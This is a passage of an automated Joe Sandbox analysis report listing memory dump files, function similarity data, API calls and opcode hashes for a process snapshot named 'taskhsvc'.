                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$abort$strrchr
                                                                                                                          • String ID: $h$(p
                                                                                                                          • API String ID: 797389190-1183433934
                                                                                                                          • Opcode ID: 1c1113532aefe0a32f887452f6a64389d8fb40fb8d088faf7fadf8764924032f
                                                                                                                          • Instruction ID: e8a8caff3e0f3fa7a1d47abcf1b70b5941a5ead669812c8ff9b40ad97732e6f2
                                                                                                                          • Opcode Fuzzy Hash: 1c1113532aefe0a32f887452f6a64389d8fb40fb8d088faf7fadf8764924032f
                                                                                                                          • Instruction Fuzzy Hash: 014104B4A04605CFCB00EF59D88189EBBF1FF49305F459918E8A4AB361D334E989CF61
                                                                                                                          Function 00BF4118 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 263COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                            • Part of subcall function 00C3F792: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,00C26074), ref: 00C3F7B2
                                                                                                                            • Part of subcall function 00C9DB55: __stack_chk_fail.LIBSSP-0 ref: 00C9DBB5
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00BF4533
                                                                                                                            • Part of subcall function 00C964CF: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00C95852), ref: 00C9651F
                                                                                                                            • Part of subcall function 00C964CF: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00C95852), ref: 00C96562
                                                                                                                            • Part of subcall function 00C964CF: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,00C95852), ref: 00C96588
                                                                                                                            • Part of subcall function 00D33842: __stack_chk_fail.LIBSSP-0 ref: 00D338B7
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$abort
                                                                                                                          • String ID: $<$backward$forward
                                                                                                                          • API String ID: 646538096-2489722373
                                                                                                                          • Opcode ID: 3804562b9734dfe7f1829a878ecb612cda93b09f01050cff987a34acdec9db1c
                                                                                                                          • Instruction ID: 35a43fa3ba2bfa9fe89c84ed0334c744a031f17fc76a8ff113639bbc7e539dd2
                                                                                                                          • Opcode Fuzzy Hash: 3804562b9734dfe7f1829a878ecb612cda93b09f01050cff987a34acdec9db1c
                                                                                                                          • Instruction Fuzzy Hash: 85C1E7B09083099FDB40EFA8C585AAEBBF0FF44314F018869E598AB341D778D944DF66
                                                                                                                          Function 00BEE0B8 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 135stringCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                            • Part of subcall function 00D41144: memset.MSVCRT ref: 00D4117D
                                                                                                                            • Part of subcall function 00D41144: __stack_chk_fail.LIBSSP-0 ref: 00D41190
                                                                                                                          • abort.MSVCRT ref: 00BEE1D1
                                                                                                                          • strlen.MSVCRT ref: 00BEE282
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00BEE332
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$abortmemsetstrlen
                                                                                                                          • String ID: @8$~
                                                                                                                          • API String ID: 883467109-3598552724
                                                                                                                          • Opcode ID: d92213ddaf8fc40fcd09d8b62d91ff2dec02e94ded2036235fdd56a23274ad43
                                                                                                                          • Instruction ID: af0cb3016bbdaa36b4206eb64a816171c581908f01df1f0e8264a0157a7c94d0
                                                                                                                          • Opcode Fuzzy Hash: d92213ddaf8fc40fcd09d8b62d91ff2dec02e94ded2036235fdd56a23274ad43
                                                                                                                          • Instruction Fuzzy Hash: C6619474A08368CFDB60DF29C985799BBF2AF49304F1084E9E459E7251E7749E84CF12
                                                                                                                          Function 00D4E186 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 97stringCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_failabortfreestrlen
                                                                                                                          • String ID: <%
                                                                                                                          • API String ID: 865228990-1093408589
                                                                                                                          • Opcode ID: 1e1993edee953a7ace9da9b7deef48f4e5a6cc3d5581fbc3a14091016e415d58
                                                                                                                          • Instruction ID: 65b1b0f393bd45690f4b52d866eea1195247803d21c4450f853f2cb35d7eed3e
                                                                                                                          • Opcode Fuzzy Hash: 1e1993edee953a7ace9da9b7deef48f4e5a6cc3d5581fbc3a14091016e415d58
                                                                                                                          • Instruction Fuzzy Hash: E041E2B4908319AFDB00EFA9C5856ADBBF4BF08344F048829E894EB341E778D940DF25
                                                                                                                          Function 00D670F6 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 96COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                            • Part of subcall function 00D65FB8: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00D6710E), ref: 00D66032
                                                                                                                          • memcmp.MSVCRT ref: 00D6719F
                                                                                                                          • memcmp.MSVCRT ref: 00D67202
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00D67270
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
